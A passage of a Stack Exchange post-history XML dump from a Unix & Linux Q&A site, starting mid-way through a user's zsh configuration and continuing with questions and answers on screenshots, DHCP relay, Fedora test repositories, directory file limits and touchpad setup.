PATH=&quot;${PATH}:${HOME}/bin&quot;&#xD;&#xA;    export PATH=&quot;${PATH}:${HOME}/.android-sdk-linux_x86/tools&quot;&#xD;&#xA;    export PATH=&quot;${PATH}:${HOME}/Dropbox/bin&quot;&#xD;&#xA;    #-----------------------------&#xD;&#xA;    # Dircolors&#xD;&#xA;    #-----------------------------&#xD;&#xA;    #LS_COLORS='rs=0:di=01;34:ln=01;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:tw=30;42:ow=34;42:st=37;44:ex=01;32:';&#xD;&#xA;    #export LS_COLORS&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    LS_COLORS='di=34;01:fi=0:ln=96;1:pi=36;1:so=01;31;1:bd=5:cd=5:or=01;31:mi=0:ex=01;93:*.so*=93:*.doc=01;33:*.docx=01;33:*.xls=01;33:*.xlsx=01;33:*.pdf=01;33:*.odt=01;33:*.torrent=91:*.bin=33:*.sh=33:*.run=33:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.axa=00;36:*.oga=00;36:*.spx=00;36:*.xspf=00;36:'&#xD;&#xA;    export LS_COLORS&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    #------------------------------&#xD;&#xA;    # Keybindings&#xD;&#xA;    #------------------------------&#xD;&#xA;    bindkey -e&#xD;&#xA;    typeset -g -A key&#xD;&#xA;    #bindkey '\e[3~' delete-char&#xD;&#xA;    bindkey '\e[1~' beginning-of-line&#xD;&#xA;    bindkey '\e[4~' end-of-line&#xD;&#xA;    #bindkey '\e[2~' overwrite-mode&#xD;&#xA;    bindkey '^?' backward-delete-char&#xD;&#xA;    bindkey '^[[1~' beginning-of-line&#xD;&#xA;    bindkey '^[[5~' up-line-or-history&#xD;&#xA;    bindkey '^[[3~' delete-char&#xD;&#xA;    bindkey '^[[4~' end-of-line&#xD;&#xA;    bindkey '^[[6~' down-line-or-history&#xD;&#xA;    bindkey '^[[A' up-line-or-search&#xD;&#xA;    bindkey '^[[D' backward-char&#xD;&#xA;    bindkey '^[[B' down-line-or-search&#xD;&#xA;    bindkey '^[[C' forward-char &#xD;&#xA;    # for rxvt&#xD;&#xA;    bindkey &quot;\e[8~&quot; end-of-line&#xD;&#xA;    bindkey &quot;\e[7~&quot; beginning-of-line&#xD;&#xA;    # for gnome-terminal&#xD;&#xA;    bindkey &quot;\eOH&quot; beginning-of-line&#xD;&#xA;    bindkey &quot;\eOF&quot; end-of-line&#xD;&#xA;    &#xD;&#xA;    #------------------------------&#xD;&#xA;    # Alias stuff&#xD;&#xA;    #------------------------------&#xD;&#xA;    alias ls=&quot;ls --color -F&quot;&#xD;&#xA;    alias ll='ls -lAgh --group-directories-first --color'&#xD;&#xA;    alias saptget=&quot;sudo apt-get &quot;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    #------------------------------&#xD;&#xA;    # Comp stuff&#xD;&#xA;    #------------------------------&#xD;&#xA;    zmodload zsh/complist &#xD;&#xA;    autoload -Uz compinit&#xD;&#xA;    compinit&#xD;&#xA;    zstyle :compinstall filename '${HOME}/.zshrc'&#xD;&#xA;    &#xD;&#xA;    #- buggy&#xD;&#xA;    zstyle ':completion:*:descriptions' format '%U%B%d%b%u'&#xD;&#xA;    zstyle ':completion:*:warnings' format '%BSorry, no matches for: %d%b'&#xD;&#xA;    #-/buggy&#xD;&#xA;    &#xD;&#xA;    zstyle ':completion:*:pacman:*' force-list always&#xD;&#xA;    zstyle ':completion:*:*:pacman:*' menu yes select&#xD;&#xA;    &#xD;&#xA;    zstyle ':completion:*:default' list-colors ${(s.:.)LS_COLORS}&#xD;&#xA;    &#xD;&#xA;    zstyle ':completion:*:*:kill:*' menu yes select&#xD;&#xA;    zstyle ':completion:*:kill:*'   force-list always&#xD;&#xA;    &#xD;&#xA;    zstyle ':completion:*:*:killall:*' menu yes select&#xD;&#xA;    zstyle ':completion:*:killall:*'   force-list always&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    #------------------------------&#xD;&#xA;    # Prompt&#xD;&#xA;    #------------------------------&#xD;&#xA;    function precmd {&#xD;&#xA;    &#xD;&#xA;        local TERMWIDTH&#xD;&#xA;        (( TERMWIDTH = ${COLUMNS} - 1 ))&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;        ###&#xD;&#xA;        # Truncate the path if it's too long.&#xD;&#xA;        &#xD;&#xA;        PR_FILLBAR=&quot;&quot;&#xD;&#xA;        PR_PWDLEN=&quot;&quot;&#xD;&#xA;        &#xD;&#xA;        local promptsize=${#${(%):---(%n@%m:%1~)---()--}}&#xD;&#xA;        local pwdsize=${#${(%):-%~}}&#xD;&#xA;        &#xD;&#xA;        if [[ &quot;$promptsize + $pwdsize&quot; -gt $TERMWIDTH ]]; then&#xD;&#xA;            ((PR_PWDLEN=$TERMWIDTH - $promptsize))&#xD;&#xA;        else&#xD;&#xA;        PR_FILLBAR=&quot;\${(l.(($TERMWIDTH - ($promptsize + $pwdsize)))..${PR_HBAR}.)}&quot;&#xD;&#xA;        fi&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;        ###&#xD;&#xA;        # Get APM info.&#xD;&#xA;    &#xD;&#xA;        if which ibam &gt; /dev/null; then&#xD;&#xA;        PR_APM_RESULT=`ibam --percentbattery`&#xD;&#xA;        elif which apm &gt; /dev/null; then&#xD;&#xA;        PR_APM_RESULT=`apm`&#xD;&#xA;        fi&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    setopt extended_glob&#xD;&#xA;    setopt extendedglob&#xD;&#xA;    preexec () {&#xD;&#xA;        if [[ &quot;$TERM&quot; == &quot;screen&quot; ]]; then&#xD;&#xA;        local CMD=${1[(wr)^(*=*|sudo|-*)]}&#xD;&#xA;        echo -n &quot;\ek$CMD\e\\&quot;&#xD;&#xA;        fi&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    setprompt () {&#xD;&#xA;        ###&#xD;&#xA;        # Need this so the prompt will work.&#xD;&#xA;    &#xD;&#xA;        setopt prompt_subst&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;        ###&#xD;&#xA;        # See if we can use colors.&#xD;&#xA;    &#xD;&#xA;        autoload colors zsh/terminfo&#xD;&#xA;        if [[ &quot;$terminfo[colors]&quot; -ge 8 ]]; then&#xD;&#xA;        colors&#xD;&#xA;        fi&#xD;&#xA;        for color in RED GREEN YELLOW BLUE MAGENTA CYAN WHITE; do&#xD;&#xA;        eval PR_$color='%{$terminfo[bold]$fg[${(L)color}]%}'&#xD;&#xA;        eval PR_LIGHT_$color='%{$fg[${(L)color}]%}'&#xD;&#xA;        (( count = $count + 1 ))&#xD;&#xA;        done&#xD;&#xA;        PR_NO_COLOUR=&quot;%{$terminfo[sgr0]%}&quot;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;        ###&#xD;&#xA;        # See if we can use extended characters to look nicer.&#xD;&#xA;        &#xD;&#xA;        typeset -A altchar&#xD;&#xA;        set -A altchar ${(s..)terminfo[acsc]}&#xD;&#xA;        PR_SET_CHARSET=&quot;%{$terminfo[enacs]%}&quot;&#xD;&#xA;        PR_SHIFT_IN=&quot;%{$terminfo[smacs]%}&quot;&#xD;&#xA;        PR_SHIFT_OUT=&quot;%{$terminfo[rmacs]%}&quot;&#xD;&#xA;        PR_HBAR=${altchar[q]:--}&#xD;&#xA;        PR_ULCORNER=${altchar[l]:--}&#xD;&#xA;        PR_LLCORNER=${altchar[m]:--}&#xD;&#xA;        PR_LRCORNER=${altchar[j]:--}&#xD;&#xA;        PR_URCORNER=${altchar[k]:--}&#xD;&#xA;    &#xD;&#xA;        &#xD;&#xA;        ###&#xD;&#xA;        # Decide if we need to set titlebar text.&#xD;&#xA;        &#xD;&#xA;        case $TERM in&#xD;&#xA;        xterm*)&#xD;&#xA;            PR_TITLEBAR=$'%{\e]0;%(!.-=*[ROOT]*=- | .)%n@%m:%~ | ${COLUMNS}x${LINES} | %y\a%}'&#xD;&#xA;            ;;&#xD;&#xA;        screen)&#xD;&#xA;            PR_TITLEBAR=$'%{\e_screen \005 (\005t) | %(!.-=[ROOT]=- | .)%n@%m:%~ | ${COLUMNS}x${LINES} | %y\e\\%}'&#xD;&#xA;            ;;&#xD;&#xA;        *)&#xD;&#xA;            PR_TITLEBAR=''&#xD;&#xA;            ;;&#xD;&#xA;        esac&#xD;&#xA;        &#xD;&#xA;        &#xD;&#xA;        ###&#xD;&#xA;        # Decide whether to set a screen title&#xD;&#xA;        if [[ &quot;$TERM&quot; == &quot;screen&quot; ]]; then&#xD;&#xA;        PR_STITLE=$'%{\ekzsh\e\\%}'&#xD;&#xA;        else&#xD;&#xA;        PR_STITLE=''&#xD;&#xA;        fi&#xD;&#xA;        &#xD;&#xA;        &#xD;&#xA;        ###&#xD;&#xA;        # APM detection&#xD;&#xA;        &#xD;&#xA;        if which ibam &gt; /dev/null; then&#xD;&#xA;        PR_APM='$PR_RED${${PR_APM_RESULT[(f)1]}[(w)-2]}%%(${${PR_APM_RESULT[(f)3]}[(w)-1]})$PR_LIGHT_BLUE:'&#xD;&#xA;        elif which apm &gt; /dev/null; then&#xD;&#xA;        PR_APM='$PR_RED${PR_APM_RESULT[(w)5,(w)6]/\% /%%}$PR_LIGHT_BLUE:'&#xD;&#xA;        else&#xD;&#xA;        PR_APM=''&#xD;&#xA;        fi&#xD;&#xA;        &#xD;&#xA;        &#xD;&#xA;        ###&#xD;&#xA;        # Finally, the prompt.&#xD;&#xA;    &#xD;&#xA;        PROMPT='$PR_SET_CHARSET$PR_STITLE${(e)PR_TITLEBAR}\&#xD;&#xA;    $PR_CYAN$PR_SHIFT_IN$PR_ULCORNER$PR_BLUE$PR_HBAR$PR_SHIFT_OUT(\&#xD;&#xA;    $PR_WHITE%(!.%SROOT%s.%n)$PR_WHITE@%m $PR_MAGENTA%1~\&#xD;&#xA;    $PR_BLUE)$PR_SHIFT_IN$PR_HBAR$PR_CYAN$PR_HBAR${(e)PR_FILLBAR}$PR_BLUE$PR_HBAR$PR_SHIFT_OUT(\&#xD;&#xA;    $PR_MAGENTA%$PR_PWDLEN&lt;...&lt;%~%&lt;&lt;\&#xD;&#xA;    $PR_BLUE)$PR_SHIFT_IN$PR_HBAR$PR_CYAN$PR_URCORNER$PR_SHIFT_OUT\&#xD;&#xA;    &#xD;&#xA;    $PR_CYAN$PR_SHIFT_IN$PR_LLCORNER$PR_BLUE$PR_HBAR$PR_SHIFT_OUT(\&#xD;&#xA;    %(?..$PR_LIGHT_RED%?$PR_BLUE:)\&#xD;&#xA;    ${(e)PR_APM}$PR_YELLOW%D{%H:%M}\&#xD;&#xA;    $PR_LIGHT_BLUE:%(!.$PR_RED.$PR_WHITE)%#$PR_BLUE)$PR_SHIFT_IN$PR_HBAR$PR_SHIFT_OUT\&#xD;&#xA;    $PR_CYAN$PR_SHIFT_IN$PR_HBAR$PR_SHIFT_OUT\&#xD;&#xA;    $PR_NO_COLOUR '&#xD;&#xA;    &#xD;&#xA;        RPROMPT=' $PR_CYAN$PR_SHIFT_IN$PR_HBAR$PR_BLUE$PR_HBAR$PR_SHIFT_OUT\&#xD;&#xA;    ($PR_YELLOW%D{%a,%b%d}$PR_BLUE)$PR_SHIFT_IN$PR_HBAR$PR_CYAN$PR_LRCORNER$PR_SHIFT_OUT$PR_NO_COLOUR'&#xD;&#xA;    &#xD;&#xA;        PS2='$PR_CYAN$PR_SHIFT_IN$PR_HBAR$PR_SHIFT_OUT\&#xD;&#xA;    $PR_BLUE$PR_SHIFT_IN$PR_HBAR$PR_SHIFT_OUT(\&#xD;&#xA;    $PR_LIGHT_GREEN%_$PR_BLUE)$PR_SHIFT_IN$PR_HBAR$PR_SHIFT_OUT\&#xD;&#xA;    $PR_CYAN$PR_SHIFT_IN$PR_HBAR$PR_SHIFT_OUT$PR_NO_COLOUR '&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    setprompt&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7986" PostHistoryTypeId="2" PostId="3727" RevisionGUID="91bedb64-ea4f-4228-a157-85a46abca9fd" CreationDate="2010-11-02T23:00:03.550" UserId="2175" Text="What you are looking for is called DHCP Relay there is an [agent for that!](http://linux.die.net/man/8/dhcrelay) " />
  <row Id="7987" PostHistoryTypeId="2" PostId="3728" RevisionGUID="7ddfd003-cf11-4372-9d1a-4cef7431b2c9" CreationDate="2010-11-02T23:46:41.197" UserId="2455" Text="Is there an equivalent of the Window's Print Screen + Paste (or better yet the Mac OS Cmd+Shift+4, Space)?" />
  <row Id="7988" PostHistoryTypeId="1" PostId="3728" RevisionGUID="7ddfd003-cf11-4372-9d1a-4cef7431b2c9" CreationDate="2010-11-02T23:46:41.197" UserId="2455" Text="How to do a print screen or capture an area of the screen" />
  <row Id="7989" PostHistoryTypeId="3" PostId="3728" RevisionGUID="7ddfd003-cf11-4372-9d1a-4cef7431b2c9" CreationDate="2010-11-02T23:46:41.197" UserId="2455" Text="égnomeàéscreenàéredhatà" />
  <row Id="7990" PostHistoryTypeId="2" PostId="3729" RevisionGUID="fe60836e-d4f0-48a2-911b-7853a5bf051b" CreationDate="2010-11-02T23:55:16.027" UserId="885" Text="I've never heard of such a feature with typical shells (zsh, fish or otherwise) in typical terminal emulators. Once you've pressed &lt;kbd&gt;Enter&lt;/kbd&gt; at a prompt, that command line only exists as a history entry as far as the shell is concerned, and as a bunch of displayed characters (indistinguishable from command output) as far as the terminal emulator is concerned.&#xD;&#xA;&#xD;&#xA;On the other hand, the kind of navigation you ask for is available as a matter of course in shells run in an [Emacs](http://www.emacs.org/) buffer, with `M-x shell` if you want your usual shell and Emacs's command line edition or `M-x eshell` if you want a shell built into Emacs.&#xD;&#xA;" />
  <row Id="7991" PostHistoryTypeId="2" PostId="3730" RevisionGUID="8bf4cf93-873b-46bd-8340-52e6625758d3" CreationDate="2010-11-03T00:30:54.867" UserId="2510" Text="I follow various bugs on [Red Hat Bugzilla][1], and I just received a notification from the Fedora Update System that a new package was available for testing that supposedly fixes a bug I was interested in. I wanted to test it, so I tried to follow the instructions.&#xD;&#xA;&#xD;&#xA;Unfortunately, although the packages are described as having been &quot;pushed to updates-testing&quot;, I see no evidence that they are actually there yet. It seems somewhat silly to publish a command for testing an update that initially *doesn't work*, but this is apparently what they are doing on a regular basis!&#xD;&#xA;&#xD;&#xA;I tried a couple of things:&#xD;&#xA;&#xD;&#xA;1. Commented out `mirrorlist` and uncommented `base-url` in `/etc/yum.repos.d/fedora-updates-testing.repo` to make it use (what I *believe* to be) the &quot;master&quot; public download site&#xD;&#xA;2. `yum clean all`&#xD;&#xA;&#xD;&#xA;but these made no difference to the outcome - still no new packages available, according to yum.&#xD;&#xA;&#xD;&#xA;Details: It's mesa-libGL (and the other mesa packages) for Fedora 14.&#xD;&#xA;&#xD;&#xA;  [1]: http://bugzilla.redhat.com/" />
  <row Id="7992" PostHistoryTypeId="1" PostId="3730" RevisionGUID="8bf4cf93-873b-46bd-8340-52e6625758d3" CreationDate="2010-11-03T00:30:54.867" UserId="2510" Text="Why are updates pushed to Fedora's updates-testing repos initially invisible?" />
  <row Id="7993" PostHistoryTypeId="3" PostId="3730" RevisionGUID="8bf4cf93-873b-46bd-8340-52e6625758d3" CreationDate="2010-11-03T00:30:54.867" UserId="2510" Text="éfedoraàéyumà" />
  <row Id="7994" PostHistoryTypeId="2" PostId="3731" RevisionGUID="110eaddf-a9d3-4a8e-8349-fba3a7a90cab" CreationDate="2010-11-03T01:37:11.913" UserId="146" Text="`xwininfo -root -tree`&#xD;&#xA;&#xD;&#xA;See [the xwininfo man page][1] for more information.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.x.org/releases/X11R7.5/doc/man/man1/xwininfo.1.html &quot;X11R7.5 man pages: xwininfo(1)&quot;" />
  <row Id="7995" PostHistoryTypeId="2" PostId="3732" RevisionGUID="0f15680c-6a15-420b-9eb7-7f5a37a320c9" CreationDate="2010-11-03T03:22:08.250" UserId="73" Text="There are tons. I personally use `import`, from [ImageMagick](http://www.imagemagick.org/script/index.php). It has the ability to capture the whole screen, a given window, or to let you select an area of the screen and just capture that&#xD;&#xA;&#xD;&#xA;### Whole screen&#xD;&#xA;&#xD;&#xA;    $ import -window root /path/to/output.png&#xD;&#xA;&#xD;&#xA;### Individual window&#xD;&#xA;&#xD;&#xA;First you need to find out the X window ID:&#xD;&#xA;&#xD;&#xA;    $ xdpyinfo | grep focus&#xD;&#xA;    focus:  window 0x3000006, revert to Parent&#xD;&#xA;&#xD;&#xA;Then you can run import:&#xD;&#xA;&#xD;&#xA;    $ import -window 0x3000006 /path/to/output.png&#xD;&#xA;&#xD;&#xA;### Specific area&#xD;&#xA;&#xD;&#xA;    $ import /path/to/output.png&#xD;&#xA;&#xD;&#xA;`import` will let you draw an area with the mouse to capture:&#xD;&#xA;&#xD;&#xA;![Screenshot of drawing a capture area](http://so.mrozekma.com/unix-import.png)&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;You can use [`xbindkeys`](http://www.nongnu.org/xbindkeys/xbindkeys.html) to bind those commands to the &lt;kbd&gt;Print Screen&lt;/kbd&gt; key; I use a script called `screenshot`, so my configuration looks like:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &quot;screenshot root&quot;&#xD;&#xA;    m:0x0 + c:107&#xD;&#xA;    &#xD;&#xA;    &quot;screenshot window&quot;&#xD;&#xA;    m:0x8 + c:107&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7996" PostHistoryTypeId="2" PostId="3733" RevisionGUID="1e2cdbe6-ae5e-4f72-841c-70ec558f1ebd" CreationDate="2010-11-03T05:46:42.820" UserId="1100" Text="Hi All!&#xD;&#xA;&#xD;&#xA;I have a directory with about 100000 small files (each file is from 1-3 lines, each file is a text file). In size the directory isn't very big (&lt; 2GB). This data lives in a professionally administered NFS server. The server runs Linux. I think the filesystem is ext3, but I don't know for sure. Also, I don't have root access to the server.&#xD;&#xA;&#xD;&#xA;These files are the output of a large scale scientific experiment, over which I don't have control. However, I have to analyze the results.&#xD;&#xA;&#xD;&#xA;Any I/O operation/processing in this directory is very, very slow. Opening a file (fopen in python), reading from an open file, closing a file, are all very slow. In bash ls, du, etc. don't work.&#xD;&#xA;&#xD;&#xA;The question is:&#xD;&#xA;&#xD;&#xA;What is the maximum number of files in a directory in Linux in such a way that it is practical to do processing, fopen, read, etc? I understand that the answer depends on many things: fs type, kernel version, server version, hardware, etc. I just want a rule of thumb, if possible. &#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Carlos" />
  <row Id="7997" PostHistoryTypeId="1" PostId="3733" RevisionGUID="1e2cdbe6-ae5e-4f72-841c-70ec558f1ebd" CreationDate="2010-11-03T05:46:42.820" UserId="1100" Text="Number of files per directory" />
  <row Id="7998" PostHistoryTypeId="3" PostId="3733" RevisionGUID="1e2cdbe6-ae5e-4f72-841c-70ec558f1ebd" CreationDate="2010-11-03T05:46:42.820" UserId="1100" Text="éfilesystemsàélargeöfilesà" />
  <row Id="7999" PostHistoryTypeId="2" PostId="3734" RevisionGUID="2b869573-212f-40bf-a079-4e7066576a95" CreationDate="2010-11-03T08:10:20.967" UserId="885" Text="As you surmise, it does depend on many things, mostly the filesystem type and options and to some extent the kernel version. In the ext2/ext3/ext4 series, there was a major improvement when the `dir_index` option appeared (some time after the initial release of ext3): it makes directories be stored as search trees (logarithmic time access) rather than linear lists (linear time access). This isn't something you can see over NFS, but if you have some contact with the admins you can ask them to run `tune2fs -l /dev/something |grep features` (perhaps even convince them to upgrade?). Only the number of files matters, not their size.&#xD;&#xA;&#xD;&#xA;Even with `dir_index`, 100000 feels large. Ideally, get the authors of the program that creates the files to add a level of subdirectories. For no performance degradation, I would recommend a limit of about 1000 files per directory for ext2 or ext3 without `dir_index` and 20000 with `dir_index` or reiserfs. If you can't control how the files are created, move them into separate directories before doing anything else.&#xD;&#xA;" />
  <row Id="8000" PostHistoryTypeId="5" PostId="3712" RevisionGUID="c94bf8ef-1809-4025-8b6e-7711df5e1bec" CreationDate="2010-11-03T09:20:06.967" UserId="688" Comment="add outout from dmesg" Text="I messed something up and can't get my touchpad working on GNOME 2.30 any more. I looked at Mouse Preferences on the Touchpad tab, and can't find the magic switch. The touchpad works on the Virtual Terminals, and on LXDE.&#xD;&#xA;&#xD;&#xA;Here's output from `dmesg`, after running `sudo modprobe psmouse`:&#xD;&#xA;&#xD;&#xA;    [29186.004285] Synaptics Touchpad, model: 1, fw: 6.3, id: 0x9280b1, caps: 0xa04793/0x304000/0x0&#xD;&#xA;    [29186.004295] serio: Synaptics pass-through port at isa0060/serio4/input0&#xD;&#xA;    [29186.041853] input: SynPS/2 Synaptics TouchPad as /devices/platform/i8042/serio4/input/input22&#xD;&#xA;    [29191.135029] input: PS/2 Generic Mouse as /devices/platform/i8042/serio4/serio9/input/input23&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8001" PostHistoryTypeId="2" PostId="3735" RevisionGUID="3065f68d-db94-4a0d-bb00-01f2ce695c81" CreationDate="2010-11-03T09:59:37.820" UserId="2179" Text="This is probably a problem with GConf.&#xD;&#xA;&#xD;&#xA;With `gconf-editor`, reach the `/desktop/gnome/peripherals/touchpad` &quot;folder&quot; and make sure `touchpad_enabled` is ticked.&#xD;&#xA;&#xD;&#xA;I've set this value as mandatory because for some reason this value kept getting disabled. This hasn't happened since." />
  <row Id="8002" PostHistoryTypeId="2" PostId="3736" RevisionGUID="95c1eecd-bcfa-4ba6-9db8-62111df44ec4" CreationDate="2010-11-03T10:02:31.447" UserId="2287" Text="Hit print screen and if gnome is setup correctly, a screenshot utility will pop up." />
  <row Id="8003" PostHistoryTypeId="2" PostId="3737" RevisionGUID="188fa237-0c1a-496c-af0b-0ece0402540b" CreationDate="2010-11-03T10:07:34.560" UserId="2179" Text="Gnome should have screenshot abilities built already in.&#xD;&#xA;&#xD;&#xA;![Save screenshot][1]&#xD;&#xA;&#xD;&#xA;However, the default trigger is the &lt;kbd&gt;Print&lt;/kbd&gt; key, which your keyboard may lack. You can remap this shortcut with `gnome-keybinding-properties`.&#xD;&#xA;&#xD;&#xA;![gnome-keybinding-properties][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dl.dropbox.com/u/1164414/SO/gnome-screenshot.png&#xD;&#xA;  [2]: http://dl.dropbox.com/u/1164414/SO/Keyboard%20Shortcuts.png" />
  <row Id="8004" PostHistoryTypeId="5" PostId="3712" RevisionGUID="046e355a-e7cc-4cad-9ff0-e1e57c7e5d9e" CreationDate="2010-11-03T10:12:34.843" UserId="688" Comment="clarify that the touchpad isn't functional at all" Text="I messed something up and can't get my touchpad functional *at all* on GNOME 2.30 any more. I looked at Mouse Preferences on the Touchpad tab, and can't find the magic switch. The touchpad works on the Virtual Terminals, and on LXDE.&#xD;&#xA;&#xD;&#xA;Here's output from `dmesg`, after running `sudo modprobe psmouse`:&#xD;&#xA;&#xD;&#xA;    [29186.004285] Synaptics Touchpad, model: 1, fw: 6.3, id: 0x9280b1, caps: 0xa04793/0x304000/0x0&#xD;&#xA;    [29186.004295] serio: Synaptics pass-through port at isa0060/serio4/input0&#xD;&#xA;    [29186.041853] input: SynPS/2 Synaptics TouchPad as /devices/platform/i8042/serio4/input/input22&#xD;&#xA;    [29191.135029] input: PS/2 Generic Mouse as /devices/platform/i8042/serio4/serio9/input/input23&#xD;&#xA;&#xD;&#xA;" />
  <row Id="8009" PostHistoryTypeId="5" PostId="3695" RevisionGUID="eb29e8b2-282f-4d8d-8305-d0d6aa934177" CreationDate="2010-11-03T11:53:22.090" UserId="2517" Comment="Added information about overall goal (feedback from comments)" Text="Hi All,&#xD;&#xA;&#xD;&#xA;**Some Background:**&#xD;&#xA;&#xD;&#xA;* Coming from a largely Windows background (though I'm familiar with Ubuntu, etc.) and using a Windows 7 machine to complete this task&#xD;&#xA;* Have gotten GRUB installed successfully to the MBR of the USB drive (8 GB FAT32 drive):&#xD;&#xA;* Have created a basic structure on the drive: /boot/grub, /boot/img, /boot/kernel&#xD;&#xA;&#xD;&#xA;**Question:**&#xD;&#xA;&#xD;&#xA;I have some basic, beginner questions, but ones that I've had trouble finding answers to through Google / StackExchange, etc.&#xD;&#xA;&#xD;&#xA;* I understand that the /boot/img/[SystemName] folder will store the image for a specific system, which may use various (or the same) versions of linux kernels stored in the /boot/kernel directory (at least, that's how I'd like to set it up)&#xD;&#xA;* However, most of these systems just have a kernel in their directories called &quot;linux&quot; (not stating the version). I can search out which kernel these all use, but what's the bst place to get the kernels themselves to copy to /boot/kernel?&#xD;&#xA;* After I get the kernels, I imagine the rest is mostly copying the device to /boot/img/ and creating the proper entry in menu.lst, correct? I can do that on a system by system basis once I can get the kernels to refer to.&#xD;&#xA;&#xD;&#xA;**Overall Goal:** &#xD;&#xA;&#xD;&#xA;I'm attempting to create an 8GB usb flash drive that will allow me to boot multiple OSes from a GRUB boot menu. To add or subtract OSes, I would like only to have to copy the appropriate files to a /boot/img/[SystemName] and a /boot/kernel folder as appropriate and then edit the menu.lst file. So, this first step is about finding the kernels that many of these OSes share, as I'm hoping to reduce duplication.&#xD;&#xA;&#xD;&#xA;I might be confused as to how the process works or terminology, but I promise I've worked in IT generally for 7+ years. Appreciate any help that you can give!" />
  <row Id="8012" PostHistoryTypeId="2" PostId="3740" RevisionGUID="21ee36d5-69d1-49c1-9b0d-ff3293979955" CreationDate="2010-11-03T16:42:13.560" UserId="2534" Text="My experience in working in this area was in Windows CE, rather than Linux.&#xD;&#xA;&#xD;&#xA;During the suspend /resume cycle, the OS will progressively shut down OS functionality restricting your ability to get accurate dependable information on what is going on using OS functionality.  In addition, your monitoring connection can (e.g. if the issue is timing related) alter the outcome.&#xD;&#xA;&#xD;&#xA;Tools of preference start with a C/C++ debugger connection to the OS at the high end, and at the very low level end sending data down a serial port / POST Codes or on non X86  hardware JTAG debugger or equivalents. The end result is long hours working out the code flow and finding the point when it behaves differently from normal behaviour.  At that point, the fix is usually obvious.  Keep good notes, and make one change at a time.&#xD;&#xA;&#xD;&#xA;It took 6 weeks to identify the power up problem we had with Windows CE.  We had a PC104 processor board that we could power off for 10 or 60 seconds and power up with no problems. However if power was removed for 25 seconds, it would not power up.  It turned out that we had enough capacitance to keep the DRAM contents intact with no power for around 20 seconds, so on a short power off cycle, Windows CE thought it was resuming from a suspended state.  When all the memory was preserved, it would actually succeed performing a resume, when the memory was partially corrupt, it would get rather confused during the resume.&#xD;&#xA;&#xD;&#xA;Good luck." />
  <row Id="8013" PostHistoryTypeId="6" PostId="3712" RevisionGUID="fd250815-1119-4ba4-afca-06157856c020" CreationDate="2010-11-03T16:48:29.453" UserId="688" Comment="this isn't at all Debian-specific" Text="égnomeà" />
  <row Id="8014" PostHistoryTypeId="2" PostId="3741" RevisionGUID="1b514435-5a6f-4fb3-9069-de452009216a" CreationDate="2010-11-03T17:17:03.653" UserDisplayName="jrh_enginnering" Text=". ./finame&#xD;&#xA;(dot space dot slash finame)&#xD;&#xA;Runs the script in the current shell when the directory is not in the path." />
  <row Id="8015" PostHistoryTypeId="2" PostId="3742" RevisionGUID="40a98394-a779-4f03-a8eb-c91dfbc4d1e1" CreationDate="2010-11-03T17:26:03.487" UserId="1327" Text="**note**: This question might have been asked before ( I think I saw it somewhere), but a quick search did not reveal anything.&#xD;&#xA;&#xD;&#xA;I would like to tell the difference when a command is run from a shell. &#xD;&#xA;&#xD;&#xA;Emacs can be initialized with the `-nw` flag to disable the **gui** window, and I want this to be the default behaviour. However if `emacs` is run from a non-shell environment, ( e.g. from the `Open With` in your **filemanager**, a **desktop configured hotkey**, or even from **bashrun** ), it should not be called with the `-nw` flag." />
  <row Id="8016" PostHistoryTypeId="1" PostId="3742" RevisionGUID="40a98394-a779-4f03-a8eb-c91dfbc4d1e1" CreationDate="2010-11-03T17:26:03.487" UserId="1327" Text="Determine if command is run from a shell or not?" />
